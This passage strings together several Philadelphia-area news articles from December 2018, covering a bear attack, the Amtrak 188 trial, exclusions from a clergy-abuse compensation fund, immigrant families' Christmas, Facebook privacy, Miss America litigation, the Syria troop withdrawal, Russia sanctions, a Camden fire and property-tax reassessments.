us. Alice and I met in the first week of my internship. She was the head nurse in the emergency department, and we first spoke when there was a lull in activity at about 2 a.m. We married five years later. We share stories about patients that touched us and laugh about the incongruous situations we experienced that, strangely, were both funny and sad at the same time. We want to linger, but Alice and I take the train home early. We know our daughter needs her sleep. She will be back at the hospital at 6 a.m. on Christmas Day. Steven A. Rosenberg, M.D., Ph.D., is chief of the surgery branch at the National Cancer Institute in Bethesda, Md. A black bear walks along a dirt road in the late afternoon in the Alligator River National Wildlife Refuge in Dare County. Authorities say another black bear (presumably) was defending its cubs when it attacked a woman in Pennsylvania last week. Read more They tried to lure her with doughnuts, sunflower seeds, and other assorted baked goods, but the black bear that severely injured a Lycoming County, Pa., woman last week passed them up, lumbered on, and likely will never be caught. Tracking dogs did pick up the scent of the bear that attacked Melinda Lebarron outside her home in Muncy Creek Township on Dec. 12, officials said, but were thwarted by a cliff face and had to turn back. Its pretty difficult to find a specific bear, and at this point, its nearly impossible, said Mike Steingraber, a game warden supervisor for the Pennsylvania Game Commissions North-central Region. Steingraber said the two traps laid for the bear had been pulled. According to the Williamsport Sun-Gazette, Lebarron suffered broken ribs, a broken collar bone, multiple puncture wounds, and partial scalping. The bear dragged her 88 yards into a thicket but she punched it and crawled back home. Lebarrons son told the Inquirer and Daily News that she was unable to speak and that her injuries were worse than people actually know. The Game Commission initially believed that Lebarron had been attacked while standing on her porch, smoking a cigarette, with her dog, a Chihuahua mix named, yes, Bear. That type of unprovoked attack by a black bear is rare anywhere in the United States. The initial story was extremely odd and unsettling. It didnt make a lot of sense to us, Steingraber said. If that story was true and the bear was caught, it would have been euthanized. Authorities later learned that the bear had cubs with her and that Lebarrons dog had chased after one, prompting Lebarron to intervene. When bears attack, its often to protect cubs. Family members told reporters that the dog, which was also injured, had saved Lebarron. Officials believe the dog is the reason why the attack happened in the first place. Yes, we highly recommend you keep a dog on a leash and under control in areas where bears have been seen, Steingraber said. A bear with cubs, if caught or tracked down, would likely not have been euthanized, and Steingraber said the longer the traps stayed out, the higher the chances of catching the wrong bear. He said the bear involved is likely sleeping in a cave or preparing to. The last thing we want to do is randomly catch a bear and treat it like a bad guy, he said. Pennsylvania is home to approximately 20,000 black bears, distributed far and wide in the state. One showed up in the Wissahickon Creek in recent years. A man was allegedly killed by a black bear in Elk County in 1906, after he shot it. Pennsylvania hunters killed more than 2,400 bears this season. A GoFundMe page has been created for Lebarron and her dog. The Amtrak engineer charged with the deaths of eight people in a 2015 derailment in Philadelphia is scheduled to face trial next fall. Brandon Bostian, 35, is expected to be tried starting Sept. 23 before Court of Common Pleas Judge Barbara McDermott. The engineer, who was in court Thursday, is facing 216 counts of reckless endangerment, a count of causing a catastrophe, and eight counts of involuntary manslaughter in connection with the May 12, 2015, derailment. Along with the eight deaths, more than 150 people were hurt.. Amtrak train 188 had just left 30th Street Station on its way to New York City when it approached the Frankford Curve at 106 mph, more than twice the posted speed for the bend in the tracks. Bostian told investigators from the National Transportation Safety Board he couldnt remember why he didnt slow the train as it approached the curve. A SEPTA train had reported being hit by a rock shortly before the derailment, and investigators concluded that incident could have distracted Bostian and caused him to lose situational awareness. Some survivors of the derailment, said Bostian, whose job made him responsible for the lives of hundreds, should face criminal responsibility. What followed was a back and forth in which charges against Bostian were ruled out, then filed, then dismissed, and finally reinstated, with the states Attorney Generals Office prosecuting. In recent months both defense attorneys and prosecutors have sought from the NTSB additional documentation about the derailment than was in its publicly available file. The Attorney Generals Office has filed an appeal with the agency to obtain material the NTSB has not already released. Ken Feinberg and Camille Biros at a news conference announcing the Independent Reconciliation and Reparations Program, a new clergy child sexual abuse victim compensation fund set up by the Roman Catholic Archdiocese of Philadelphia. Read more Last month, the Archdiocese of Philadelphia launched a compensation fund program that would, in the words of Archbishop Charles J. Chaput, begin to acknowledge the "evil done to scores, if not hundreds, of victims who were abused as children by Catholic clergy. The fund, and others like it statewide, were established in part as a preemptive measure in the wake of an unsuccessful but hotly contested legislative proposal to change the statute of limitations and let victims sue for decades-old abuse. Church officials and some advocates have hailed the new efforts to acknowledge and compensate victims. Yet an entire class of victims is being shut out of Philadelphias program because their assailants belonged to independent Catholic religious orders, even in cases where the abuse occurred at diocesan parishes or schools. Nearly a fourth of the abuse claims submitted so far to the archdiocese have been rejected because they allege abuse by members of religious orders, such as the Franciscans, Augustinians, or Jesuits. One woman who filed such a claim this fall said it was the first time she ever told anyone about the Spiritan order priest she said repeatedly pulled her from her first-grade class in the 1950s to grope her at Our Lady of the Most Blessed Sacrament school in the citys Fairmount section. When she was told she was ineligible for compensation, she said, "I felt like I was being violated all over again. The Philadelphia Archdiocese was the first diocese statewide to launch its compensation fund, formally known as the Independent Reconciliation and Reparations Program (IRRP), and already has fielded 42 applications. The other dioceses are expected to have their funds up and running early next year. (Matt Haverstick, the lawyer representing the dioceses of Harrisburg and Greensburg, said Thursday that the those two dioceses intend to include" victims of order priests when they launch their compensation programs.) Philadelphias program is open to any person who was a child victim of sexual abuse by a priest or deacon within its jurisdiction, which beyond the city includes Bucks, Chester, Delaware and Montgomery Counties. Claims can be submitted through Sept. 30, 2019. The archdiocese sent information packets about the fund to more than 340 people who were known or believed to have been victimized by archdiocesan clergy or staff over the past decades. It did not notify alleged victims of members of religious orders who for years staffed archdiocesan schools and celebrated Masses and sacraments in its churches. If those victims register as potential claimants on the website set up for the program, they are told they cannot participate, according to Camille Biros, one of the funds administrators. Of the 42 claims submitted thus far, nine have been turned away for that reason. In an interview this month, Biros said the rationale behind the eligibility rule is that although religious order priests may have worked in diocesan facilities, they were not ordained by or within a diocese and do not fall under the administrative umbrella of the rules and regulations that apply to most parish priests. Its a very difficult thing to explain to a potential claimant why their claim cant be considered, Biros added. She said claims involving religious order priests are forwarded to the superiors of that particular order just as allegations against priests of other dioceses are forwarded to their bishop. When asked why the program does not accept claims from victims of religious-order priests, Philadelphia Archdiocese spokesperson Ken Gavin said the compensation fund program is independently run and, as such, I cannot speak on its behalf. Its not a situation unique to the church in this region or state. As of 2014, about 30 percent of the 38,809 priests in the United States were members of religious orders, according to the U.S. Conference of Catholic Bishops. And about 20 percent of all Catholic clergy sex abuse allegations nationwide in the past five years have involved religious order priests, according to audit information from the conference. Religious order priests often focus on specific areas of spirituality, like education, or nursing and are governed by their own superiors and rules. They have their own proper law, their own institutions, their own statutes that would determine who can be a member, said the Rev. Robert J. Kaslyn, a Jesuit priest and professor of canon law at Catholic University of America in Washington. If a priest acts inappropriately, the one under whom he is exercising his priesthood is responsible." Because the orders are typically smaller than dioceses, so too is their budget for compensating victims, Kaslyn said. There have been exceptions. In 2014, 88 sexual abuse victims of a Franciscan friar who served in the Altoona-Johnstown Diocese received an $8 million settlement, funded in part by that diocese. There is a joint responsibility in such cases," said Richard Serbin, a plaintiffs attorney who has handled dozens of sex abuse cases, including for victims of the friar in the Altoona-Johnstown case. Its like two employers employing someone to do a task. They both share the responsibility. Serbin called church-led compensation funds inadequate, in part for that reason. He supports creating a two-year window in the states statute of limitations that could pave the way for lawsuits by any accuser against any alleged abuser. Under current law, victims of child sexual abuse have until age 30 to file such legal claims; victims and advocates say it can take decades for victims to come forward. A claim denied The woman from Fairmount said it took her 60 years to tell anyone about the abuse she said she endured in the first grade. The first person she told was Biros, the compensation fund administrator. Ive carried that pain now for so many years, said the woman, who asked to remain anonymous. "Im a grandmother, Im a mother, Im an aunt, and Ive always been very protective of the little people in my life because of what my experience was. This was my opportunity to help that little girl inside me. She was 6 years old in 1958, she said, when the Rev. John R. Marx, who taught Latin to the altar boys at the school, would pull her from her classroom. He would carry me up and down the aisles with his hand in my panties, his fingers in my panties, she said. She said Marx, who died in 1995, abused her more than 200 times over two years. Her parents were separated and Marx provided counseling, food, and gifts to her mother, she said. The abuse ended in 1960 when she and her mother moved in with her grandmother and she changed schools. It caused her decades of anxiety and trust issues, she said. She hoped the compensation fund could pay for some long-overdue therapy. But weeks after her conversation with Biros, she received a letter saying her claim would not be considered because Marx was a member of the Spiritans. Unfortunately, after review of the information you provided, we have determined that you do not meet the eligibility criteria," the letter said. She was crushed. I couldnt believe that I finally got up the courage to come forth and then to get that letter," she said. "I didnt understand it. The orders spokesman, the Rev. Jeff Duaime, said it had not received allegations against Marx. He said the order, based in Bethel Park, Pa., gives victims therapeutic support but not monetary compensation. The Philadelphia-area accuser said she has not approached the order. Her lawyer, Jordan Merson, said the situation shows why the statute of limitations needs to be changed. Unless the order decides to do right by her, which theres no indication they are, she has no options for recourse, he said. Merson said he has had more than a dozen other clients' claims rejected by similar funds set up in New York because the accused priests belonged to religious orders. He said hes also had cases denied in which the accusations involve lay employees, including one sexual education counselor. It is clear that this program, the IRRP, does not provide a global resolution to this problem," he said. It provides a potential mode of recourse to a small percentage of victims of child sex abuse. Sometimes orders do compensate victims. Stephen Jimenez, who was abused as a boy in Brooklyn and has become an advocate for survivors of clergy sex abuse in New York, was awarded $75,000 by the Xaverian Brothers for abuse he endured in elementary school. The Brooklyn Diocese fund doesnt accept claims against religious order priests. Its kind of passing the buck. I dont know how else to say it, Jimenez said. Its all about money and its all about limiting their damages. Staff writer Jeremy Roebuck contributed to this article. Program manager Mario Meza (rear) plays guitar and Reyna Hernandez (kneeling) help the children sing for family and friends at the Christmas Party of the Mighty Writers El Futuro Branch on South Ninth Street. Read more This much was clear, Miss Alma knew. They had to have a party. A Christmas fiesta, at the Mighty Writers El Futuro space on Ninth Street in the Italian Market. Las Posadas the traditional Mexican celebration that reenacts the journey of Joseph and Mary as they search for a place to stay in Bethlehem. Shelter. There would be food and singing. The kids at El Futuro could share their writing and sing karaoke. Their parents, almost all of whom are undocumented immigrants, could do something they almost never get to do: Relax. It will be an antidepressant, said Miss Alma, who in her day job is Alma Romero, proprietor with her husband of the fish shop next door to Mighty Writers. To the Latino community in South Philadelphia, shes just Miss Alma. A leader. The woman to see about a problem, a job, a house. Shes been here 22 years, and is undocumented herself. From the shop next door, she hears and holds the communitys fears about ICE La Migra and the administration that dehumanizes them at every turn. But this week, she was the woman to see about the fiesta. Every few hours on Wednesday, wiping fish guts from her gloves, shed run next door to make sure everything was just so. The Nativity display. The braided red and green balloons in the archway. Hours before the party was set to begin, there was still so much to do. And she popped her head in and yelled to Nelia Diaz, the El Futuro program director, and Mario Meza, the program manager, who all year have been shepherding kids and families through fear and confusion and anger. They run the afterschool programs at El Futuro, where kids come to do their homework and write about anything but Trump and ICE, except that on their breaks the kids will tease someone with a bad grade, saying La Migra is going to come get you if you dont do your homework. Like a bogeyman. Its the only way the younger kids can process whats happening, said Meza. This is their way to express their fear, he said. For some, the holidays have become a way to express loneliness as well. Like Fernanda, whos 11 and lives with her uncle, and walks home from the center three nights a week, 20 minutes in the dark, carrying schoolbooks written in a language shes excitedly trying to learn. But her parents are back in Mexico, and when she saw the Las Posadas preparations, she remembered her grandmothers Nativity scene, and her familys punch the best! and her voice grew lower and lower. Diaz and Meza run workshops with the older teens, too, who can process the poisonous rhetoric better who get angry and dispirited when the conversation turns to politics, who worry that even in the land of opportunity, they are going to follow their parents into the same sleepless jobs. Meza and Diaz tell them theres hope scholarships, grants for immigrants, even undocumented ones. And they offer workshops for the parents who are fearful but determined, for whom the news of raids and family separations overwhelms. And they dont show up at the center for a while and when they do, they talk about being afraid to walk the streets, or send their kids to school. But this night was a night for all that to be pushed aside. A fiesta, a Christmas party, a refuge. The kids came through the door, singing a call-and-response with two children dressed as Mary and Joseph, asking to be let in. The innkeepers learn that Mary is carrying the Christ child. This is our home, they say. Its not much, but we give it to you with an open heart. And Miss Alma could not contain her joy as she led the children through singing and dancing. In the front row, Ivonne, a housemaid and the mother of an 11-year-old girl named Sophie, smiled and swayed to the music. It had been such a hard year, she said. She had attended the El Futuro workshops, and talked to Sophie about the family separations at the border. She told her daughter it was OK to cry. But we have people here who care about us, she assured Sophie, and will fight for us. Now, she wasnt thinking about all that, as she prepared a plate of tamales for her daughter. She could not find the exact word in English for how she felt, but she knew what she was trying to say: pampered, spoiled, as if embraced by a loved one. It was Christmas in Philadelphia, and she felt like she was home. In this March 15, 2013, file photo, a man walks past a sign at Facebook headquarters in Menlo Park, Calif. Facebook gave some companies more extensive access to users personal data than it has previously revealed, letting them read private messages or see the names of friends without consent, according to a New York Times report published Wednesday Dec. 19, 2018. Read more News dropped this week that Facebook had given companies access to users' private messages, even as its leadership said it would prioritize user privacy. It was yet another scandal at the tech company but whos counting? and users, in the Philadelphia area and beyond, once again announced that they were deleting their accounts. Dear Facebook, West Philly-based writer Terrilyn McCormick wrote on her blog, Youve been undermining democracy throughout the world and more explicitly facilitating the Russians influence on our election here in the US. Ive held on through this rough patch because I love seeing pictures of my friends kids and really appreciate your events feature. But youve changed. Maybe I have too? But as the #DeleteFacebook hashtag makes the rounds again, some are asking: Does it matter if we delete Facebook? What about the Facebook-owned Instagram and WhatsApp? And if what users really want to see is change, is there a better way to do that? On that last note, Anand Giradharadas thinks so. The author, whose most recent book is an investigation into what he describes as the hypocrisy of the tech set, says #DeleteFacebook is admirable but buys into a troubling narrative that weve all been fed: that we, as individuals, have the power to change systemic problems. When you # DeleteFacebook as an individual, you are personalizing what is, in fact, an issue of systems and the abuse of power," he said Thursday in an interview on NPRs Morning Edition. Think, he says, of the fallacy of Facebook COO Sheryl Sandbergs famous line about leaning in." Women can become #ladybosses in the workplace if they just lean in, the thinking goes. But it ignores the bigger systems at play: that we live in a society that is built around the oppression of women and people of color. You can see threads of this idea in the countrys favorite catch phrases, like grit, coined by Penn professor Angela Duckworth, and the dignity of work. So whats the alternative? The government, he says, should regulate Facebook. Government regulation is not a new idea, and its a controversial one. Most recently, City Council passed a law to regulate how retail and fast-food companies schedule their workers, hoping to quell what they see as abusive scheduling practices. Mayor Kenney was set to sign the bill Thursday afternoon. The Greater Philadelphia Chamber of Commerce, as well as some Republicans in Harrisburg, see regulations like this as an overreach that stifles business growth. But regulation in the tech industry is only starting to happen. In August, the New York City Council regulated Uber, capping for-hire vehicles licenses for a year while it studies the industry and mandating a minimum pay rate for drivers. On the other hand, gig economy startups have fought for laws that ensure they can classify their workers as independent contractors. And the fight over net neutrality regulations rages on. Instead of just deleting Facebook, Giradharadas suggests calling your elected officials and working to get younger politicians into office who understand how these tech platforms work. McCormick, for her part, said shes all for regulation, but shes also being realistic. We cant even regulate guns in this country, so what, are we just supposed to hope for the best on that front? said McCormick, 46, reached as she baked holiday cookies. Plus, she said, I think weve seen the power of individual actions done collectively. Bill OReilly, once the top-rated host in cable news, doesnt have a job at Fox News anymore because, in the wake of sexual harassment allegations, advertisers pulled their ads, women at Fox News pressured the company to make changes, and womens groups called for him to be fired. She wonders: Is this so different? Philadelphia Police Officer Ed Davies, who was shot on duty in 2013, speaks to reporters outside the Criminal Justice Center on Thursday, Dec. 20, 2018. He said he plans to attend his alleged shooter's second trial. Read more Eric Torres was convicted in 2015 of shooting and seriously injuring Philadelphia Police Officer Ed Davies, but the conviction was overturned by a higher court. On Thursday, Torres rejected a plea deal that would have kept him behind bars for 37 to 74 years. Torres, 37, who appeared in court wearing an untucked light-blue prison-issued shirt, said he wanted to take his chances with a second jury trial. If Torres is convicted of all charges, Assistant District Attorney Matthew Gehrke said, he could face a maximum of more than 100 years in prison. Gehrke said he felt the plea offer was reasonable. Hes been convicted once, Gehrke said, and we feel pretty good about our case. Davies was shot in August 2013 trying to arrest Torres during a struggle inside the Almonte Mini Market at Fourth and Annsbury Streets in Feltonville after Torres had fled a traffic stop. During a 2015 jury trial, Torres was acquitted of attempted murder, but convicted of aggravated assault and gun and drug charges and sentenced to 66 to 132 years. Shortly afterward, Superior Court ordered a new trial, saying police had not had probable cause to search Torres' home after the shooting. Defense attorney Jonathan Strange does not agree. A new trial has been ordered; this is a brand-new trial, said Strange. And we know the jury will see this as a tragic accident. At Torres' sentencing in July 2015, Common Pleas Court Judge Charles Ehrlich told him, I dont want you on the streets. Youre a ticking time bomb. Davies, who attended Thursdays hearing before Ehrlich, said he would attend the second trial. I cant believe its going for the second time, Davies said. But Ill go to trial, Ill tell my story, and let them know that this guy tried to kill me. He said he still has nerve damage from his waist down, and scars from his neck to his feet. I have trouble getting out of bed some days, he said. But Im here. The new trial is scheduled to start July 15. ATLANTIC CITY With the Miss America competition searching for a new home, the battle for the future of the storied but hobbled institution has landed in court. Board chair Gretchen Carlson and CEO Regina Hopper orchestrated an illegal and bad faith takeover of the Miss America Organization, imperiling the nearly 100-year institution, the lawsuit, a copy of which was sent to the Inquirer and Daily News, contends. Named as plaintiffs in the 35-page suit are four state organizations, including the Miss Pennsylvania Scholarship Organization, and ousted Miss America board member Jennifer Vaden Barth, a former Miss North Carolina, who has been outspoken in her opposition to the current leadership. This is the first step in restoring the integrity and credibility of Miss America, which has been a cultural icon since 1921, Vaden Barth, now a program manager for Google, said in a statement. The lawsuit asks the judge to reinstate four members of the board, who either have resigned or were ousted, whose votes to limit Carlsons power were thwarted during a contentious June 2018 meeting, the lawsuit contends, in which Carlson became belligerent and hateful." It further asks the court to reinstate four state operating licensing agreements, including Pennsylvanias, arguing that Carlson lacked the authority to terminate those agreements under Miss America bylaws. Carlson fired back in a statement issued Thursday: Lawsuits will not reinstate swimsuits. She said the state directors opposing her are spewing disinformation and aligning themselves with those who oppose the change, referring to her decision to eliminate the swimsuit competition. She called the lawsuit just the latest unseemly effort to take power and turn back the clock." The longtime Atlantic City institution will no longer receive millions in subsidies from the State of New Jersey and has been shopping around its competition to other cities with a Request for Proposals seeking significant financial resources and other perks, including a comped presidential suite for Carlson, the former Fox News host and 1989 Miss America who took over the organization and has vowed to modernize it. (On Twitter, Carlson said the RFP was put together by an outside company. Never would request that personally, she wrote in response to a question. ) Carlson and Hopper eliminated the swimsuit competition, which upset many of the more tradition leaders who had been loyal to the organization. They further cut ties with several of the state organizations that spoke out against them, including New Jersey and Pennsylvania. The lawsuits other plaintiffs are the state organizations from Tennessee, West Virginia. and Georgia. In the lawsuit, filed Thursday morning in Superior Court, the plaintiffs accuse the leadership of mismanaging finances, misleading officials about the future of its telecast, and disseminating blatant mistruths manipulating the rules and disregarding established laws, in addition to the bylaws of Miss America itself, to suit their own personal purposes" and agendas, including Carlsons promotion of the #MeToo movement. "Carlson used the rules when it [was] convenient, and ignored them when it [was] an impediment, the lawsuit says. Both sides agree that that the Miss America institution has been damaged in the last year by the infighting. In its own statement, the Miss America Organization said it would aggressively pursue and vigorously defend itself against the lawsuit, which it called baseless. In a statement sent via Hoppers email, the organization accused the plaintiffs of waging a smear campaign that is damaging the institution. The statement said the organization would continue to pursue a competition that makes Miss America more diverse, inclusive and relevant. The lawsuit, however, says the actions of Carlson and Hopper have caused fewer candidates to enter the local competitions, putting those feeder programs into financial jeopardy. It further accuses Carlson and Hopper of bullying and trying to silence various members of the board of trustees, misrepresenting the views of former Miss Americas, and breaching their duty by causing financial and reputational loss to the Miss America Organization. (Carlson and Hopper say it is the state directors who have been bullying volunteer leadership.) The state pageant organizations are seeking a temporary restraining order from Superior Court Judge Michael Blee that would prevent the Miss America Organization from taking further action against state organizations. An earlier statement that the order had been issued was not correct, said attorney Paul Perkins, representing the plaintiffs. The lawsuit dates the current crises to the publication of now-infamous emails by the former leadership of Miss America disparaging former titleholders in vulgar and sexist terms. That led to the takeover by former Miss Americas, but it has been Carlson who has maintained the strongest grip on the struggling organization. Vaden Barth organized a GoFundMe account that has raised more than $40,000 for the court effort to win back control over Miss America. WASHINGTON (AP) President Trump is pulling all 2,000 U.S. troops out of Syria, officials announced Wednesday as the president suddenly declared victory over the Islamic State, contradicting his own experts' assessments and sparking surprise and outrage from his partys lawmakers who called his action rash and dangerous. The U.S. began air strike in Syria in 2014, and ground troops moved in the following year to battle the Islamic State, or ISIS, and train Syrian rebels in a country torn apart by civil war. Trump abruptly declared their mission accomplished in a tweet. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency, he said as Vice President Pence met with top leaders at the Pentagon. U.S. officials said many details of the troop withdrawal had not yet been finalized, but they expect American forces to be out by mid-January. A senior administration official, speaking to reporters on condition of anonymity, said Trump made the decision based on his belief that U.S. troops have no role in Syria beyond combating Islamic State, whose fighters are now believed to hold about 1 percent of the territory they did at the peak of their power. The president informed Turkish President Recep Tayyip Erdogan of his decision in a telephone call, the official said. Turkey has recently warned that it would launch combat operations across its southern border into northeastern Syria against Kurdish forces who have been allied with the U.S. in the fight against the Islamic State. Trump's declaration of victory was far from unanimous, and officials said U.S. defense and military leaders were trying to dissuade him from ordering the withdrawal right up until the last minute. His decision immediately triggered demands from Congress including leading Republicans for more information and a formal briefing on the matter. Sen. Lindsay Graham of South Carolina, just returned from Afghanistan, said he was meeting with Defense Secretary Jim Mattis late in the day. Graham, typically a Trump backer, said he was "blindsided" by the report and called the decision "a disaster in the making." He said, "The biggest winners in this are ISIS and Iran." The decision will fulfill Trump's long-stated goal of bringing troops home from Syria, but military leaders have pushed back for months, arguing that the IS group remains a threat and could regroup in Syria's long-running civil war. U.S. policy has been to keep troops in place until the extremists are eradicated. The senior administration official said American forces would still work with allies to fight the Islamic State or other extremists in the country but gave no details on what that might entail. Another official said it still is not clear to defense leaders whether U.S. air strike against IS insurgents will continue in Syria after the American troops leave. U.S. military officials worry that American-backed Kurdish troops will be targeted by Turkey and the Syrian government, leaving no ally on the ground to help direct the strikes. Israeli Prime Minister Benjamin Netanyahu, who remains concerned about Iranian efforts in the area, reacted in noncommittal fashion after talking with Trump by telephone. "This is, of course, an American decision," he said. No matter what, he said, "we will safeguard the security of Israel and protect ourselves from this arena." Leading Republican senators reacted with displeasure to the news. Sen. Marco Rubio of Florida said the withdrawal would be a "grave error" and that Kurdish fighters will stop fighting the Islamic State when they must confront Turkish troops crossing the border into Syria. "This is a bad idea because it goes against the fight against ISIS and potentially helps ISIS," he said, warning it could trigger a broader conflict in the region. Just last week, the U.S. special envoy to the anti-ISIS coalition, Brett McGurk, said U.S. troops would remain in Syria even after the Islamic State was driven from its strongholds. "I think it's fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring," McGurk told reporters on Dec. 11. "Nobody is declaring a mission accomplished. Defeating a physical caliphate is one phase of a much longer-term campaign." And two weeks ago Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, said the U.S. still has a long way to go in training local Syrian forces to prevent a resurgence of IS and stabilize the country. He said it will take 35,000 to 40,000 local troops in northeastern Syria to maintain security over the long term, but only about 20 percent of that number have been trained. Trump's national security adviser, John Bolton, said in September that the U.S. would keep a military presence in Syria as long as Iran was active there. "We're not going to leave as long as Iranian troops are outside Iranian borders and that includes Iranian proxies and militias," he said. James Stavridis, a former Navy admiral who served as top NATO commander, tweeted Wednesday that "Pulling troops out of Syria in an ongoing fight is a big mistake. Like walking away from a forest fire that is still smoldering underfoot. Big winner is Iran, then Russia, then Assad. Wrong move." The withdrawal decision, however, is likely to be viewed positively by Turkey, and comes following several conversations between Trump and Erdogan over the past several weeks. The two spoke at the G-20 summit in Argentina and in a phone call last Friday. Erdogan said Monday he had gotten "positive answers" from Trump on the situation in northeast Syria where he has been threatening a new operation against the American-backed Syrian Kurdish fighters. Just hours before the withdrawal decision became public, the State Department announced late Tuesday that it had approved the sale of a $3.5 billion Patriot missile defense system to Turkey. The Turks had complained that the U.S. was slow walking requests for air defenses, and they had signed a deal with Russia to buy a sophisticated system in a deal that Washington and Ankara's other NATO partners strongly opposed. Completion of that deal with Russia for the S-400 system would have opened up Turkey to possible U.S. sanctions and driven a major wedge between the allies. It was not immediately clear if there was a connection between the Patriot sale and the decision on U.S. troops. Although the withdrawal decision doesn't signal an end to the American-led coalition's fight against the Islamic State, it will likely erode U.S. leadership of that 31-nation effort. The administration had been preparing to host a meeting of coalition foreign ministers early next year. "The bottom line is that the American withdrawal from eastern Syria will create a power vacuum that will lead to a new phase of international conflict in Syria," said Jennifer Cafarella, a Syria expert at the Institute for the Study of War. She predicted that the Russians, the Iranians, Syrian President Bashar Assad and the Turks will compete for the terrain and resources previously under U.S. control "at the expense of" the Syrian Kurds who have partnered with U.S. forces against IS. Associated Press writers Susannah George and Catherine Lucey contributed to this article. WASHINGTON (AP) The Treasury Department imposed new sanctions on Wednesday against 15 Russians over hacking, interference in U.S. elections, and a nerve agent attack in England. In a separate action, the agency also announced plans to lift sanctions on the aluminum manufacturing giant Rusal. It comes after the department approved a plan that severed Russian oligarch Oleg Deripaska's control of the company. The sanctions include actions against nine Russian intelligence officers who were indicted over the summer and are accused of hacking into Hillary Clinton's presidential campaign and the Democratic Party and releasing tens of thousands of private communications. The case against them was brought by special counsel Robert Mueller, whose office is investigating Russian interference in the 2016 election. The Treasury Department said Russia's "continued disregard for international norms" necessitated the sanctions. "The United States will continue to work with international allies and partners to take collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies," Treasury Secretary Steven Mnuchin said in a statement. Sanctions were also levied against Alexander Petrov and Ruslan Boshirov, who have been charged by British officials with the botched assassination attempt on former Russian spy Sergei Skripal. Russian President Vladimir Putin has dismissed any insinuation his government was involved in the attack and has said Russia had no reason to attack Skripal. The sanctions were also imposed on Elena Alekseevna Khusyaynova, who was charged by the Justice Department in October with running a Russian troll farm that prosecutors say was aimed at sowing division between Americans and interfering in the 2018 midterm elections. The sanctions would mean that any assets the targets have in the United States could be frozen, and U.S. companies and banks are generally prohibited from doing business with them. The Treasury Department said it notified Congress about the move to terminate sanctions against Rusal, which would take effect in 30 days, unless Congress acts to block it. Deripaska will remain blacklisted as part of an array of measures announced in early April that targeted tycoons close to the Kremlin, officials said. In spelling out the penalties, the department said Deripaska had been accused of illegal wiretaps, extortion, racketeering, money laundering, and even death threats against business rivals. Treasury officials said sanctions against EN+ Group, the holding company that owns nearly 50 percent of Rusal, and Russian power company JSC EuroSibEnergo, also will be lifted. "Treasury sanctioned these companies because of their ownership and control by sanctioned Russian oligarch Oleg Deripaska, not for the conduct of the companies themselves," Mnuchin said. "These companies have committed to significantly diminish Deripaska's ownership and sever his control." The announcement follows a lobbying campaign paid for by the chairman of EN+'s board, Gregory Barker, a conservative member of Britain's House of Lords, to persuade the Trump administration to lift the sanctions against the companies. Barker, a former British energy minister, hired the U.S. firm Mercury LLC in May to support his efforts to negotiate Deripaskas exit from the EN+ board and the reduction of his ownership interest in the company. A two-alarm fire broke out early Thursday on the 900 block of Cedar Avenue in North Camden. Several homes were damaged and several people suffered minor injuries. Read more A fast-moving fire ripped through a North Camden neighborhood early Thursday, heavily damaging six houses and injuring several people, including a firefighter and a police officer, authorities said. The two-alarm fire broke out around 3 a.m. in the 900 block of Cedar Avenue, authorities said. Flames were pouring from two houses when firefighters arrived. The cause is under investigation. It was just spreading to every home, said Ed Hutchinson, 22, who rushed to the scene from his home in South Camden after hearing an alert on his emergency scanner. He arrived as the first fire engine was hooking up to a hydrant. In a daring rescue before firefighters arrived, a father saved his infant daughter from their burning home by passing the baby through a window to a neighbor, said city spokesperson Vince Basara. The neighbor was stunned to hear knocking on her window. He said, Here, grab the baby. On top of the porch, he handed the baby to my sister. My sister was in shock, Margarita Alonso told 6ABC. After the father fled his burning home, he discovered that his 3-year-old child was still inside, Alonso said. He rushed back inside and rescued the toddler, she said. The mans dog died in the fire, authorities said. A Camden County police officer was treated for smoke inhalation at Cooper University Hospital and released, said spokesman Dan Keashen. A firefighter was also injured, along with several residents, Basara said. None of the injuries were serious, he said. Basara said the fire spread to at least six houses. At least four were deemed uninhabitable and city crews were boarding those homes Thursday, he said. About five families, including 19 people, were displaced by the fire, Basara said. The Red Cross is assisting and providing temporary housing, he said. Mike Walsh is one of many Philadelphia homeowners who learned this year that his property taxes would more than double. But Walsh chose not to join the thousands of property owners who appealed their new values this year though his annual bill jumped by 113 percent, to $4,884. Thats because he thought the market value that city assessors assigned to his triplex on Wharton Street was correct. The property, in South Phillys booming real estate market and blocks from the famed cheesesteak corner featuring Pats and Genos, had not been reassessed since 2014. I just didnt like the fact that my real estate taxes are going up over 100 percent," he said last week. "And I dont think real estate taxes should ever go up over 100 percent. In some other major cities, large tax increases like Walshs are prohibited because governments place caps on hikes. In New York City, for example, significant increases are phased in over a few years. Maryland caps the amount that an assessment can rise in one year at 10 percent. Louisiana voters approved a ballot measure this year requiring that increases greater than 50 percent be phased in over four years. In Philadelphia, however, there is no limit to the amount by which assessments the value used to calculate property tax bills can increase in one year. The median value of a single-family home increased 10.5 percent in the new assessments of residential properties released this year. SPECIAL REPORT: Which properties had their assessments increased or decreased from 2018? Examine our database of Philadelphia 2019 Property Assessments And unlike other counties in Pennsylvania, Philadelphias reassessments are not revenue-neutral, meaning that increasing property values mean a boost in tax dollars for the city. City spokesperson Mike Dunn said the city and School District will receive about $85 million in additional revenue based on the increased 2019 assessments, after accounting for successful appeals and other factors. Last years reassessment of commercial properties was expected to bring in $118 million in additional tax revenue. The result, said Robert P. Strauss, a professor of economics and public policy at Carnegie Mellon University, is a growing reliance in Philadelphia on the property tax. As property tax revenue grows, Strauss said, the city is using reassessment kind of as a smokescreen. Why does Philadelphia not have a cap on increases? Since 2014, the city has aimed to perform more frequent assessments and assess properties at 100 percent of market value, which is the amount at which a property would sell. However, this year marked the first time that all residential properties were reassessed since that system began. With the new system, known as the Actual Value Initiative, the city launched some programs to help struggling homeowners. They include a discount for owner-occupied primary residences, installment-payment plans, and tax freezes for low-income seniors. Its a really important issue, because property values can change unexpectedly and sometimes dramatically, and its essential for a property tax system to have a way of easing the burden on a homeowner who faces a sudden change," said Joan Youngman, a senior fellow at the Lincoln Institute of Land Policy in Massachusetts. Councilman Mark Squilla, who previously proposed that assessment changes be phased in, said he would support a cap except that it would violate the state constitutions uniformity clause," requiring that all properties are taxed at the same rate. I believe theres still a way to do that, he said, whether we do it ourselves, or we do it through working with our legislators in the state to give us our ability to do that. Dunn said the Kenney administration believes that capping assessments will, over time, create greater inequities in the property tax system because it 